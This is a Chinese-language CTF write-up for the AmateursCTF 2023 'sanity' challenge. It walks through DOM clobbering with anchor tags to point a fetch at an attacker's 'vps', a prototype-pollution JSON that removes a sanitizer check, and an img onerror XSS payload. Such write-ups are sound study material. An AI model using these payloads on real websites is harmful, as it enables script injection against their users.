AmateursCTF 2023-sanity
if (window.debug?.extension) { let res = await fetch(window.debug?.extension.toString()); extension = await res.json(); }
对于这题第一个点就是如何通过这个判断。题目有个地方可以插入任意的前端代码,但是有个sanitizer会过滤掉危险字符,所以直接绕过它实现xss不可行。
但是对于通过这个判断所需要字符不会触发sanitizer。该判断检测是否存在window.debug.extension。这里就需要用dom破坏来构造覆盖
直接插入
<a id='debug'>a</a> <a id='debug'>b</a>
可以看到对于id相同的两个标签,取值的时候取的是数组
同时对于这个数组除了序号,也可以通过name取值
这样我们可以构造
<a id="debug"></a><a id="debug" name="extension" href="//vps"></a>
让它访问我们的vps即可。
接下来注意到
如果debug.sanitize为flase,可以不检查插入,即可完成XSS。
debug类是通过Object.assign有个合并的过程,这里就可以原型链污染。 这里的extension是可控的内容是我们vps的访问内容。
在vps上挂上
{"__proto__":{"sanitize":false}}
即可实现原型链污染。
但是注意这里sanitize是一个私有变量(加了#),在合并过程中发现无论合并的是啥都会导致#sanitize消失,然后通过判断。。。
(第一个是合并后,与下面那个没合并的对照,可以发现即使传入没有覆盖sanitize,也会导致sanitize变量直接消失)
通过这个判断后直接XSS即可,注意
由于js页面打开后按顺序执行,这里inner后不会重新加载执行,通过图片报错实现XSS
<img src=x onerror=alert(1)>
但是最终没收到flag,可能是比赛结束了题目环境变了。
不得不说国外比赛discord上wp放的很快结束当天就可以尝试复现了。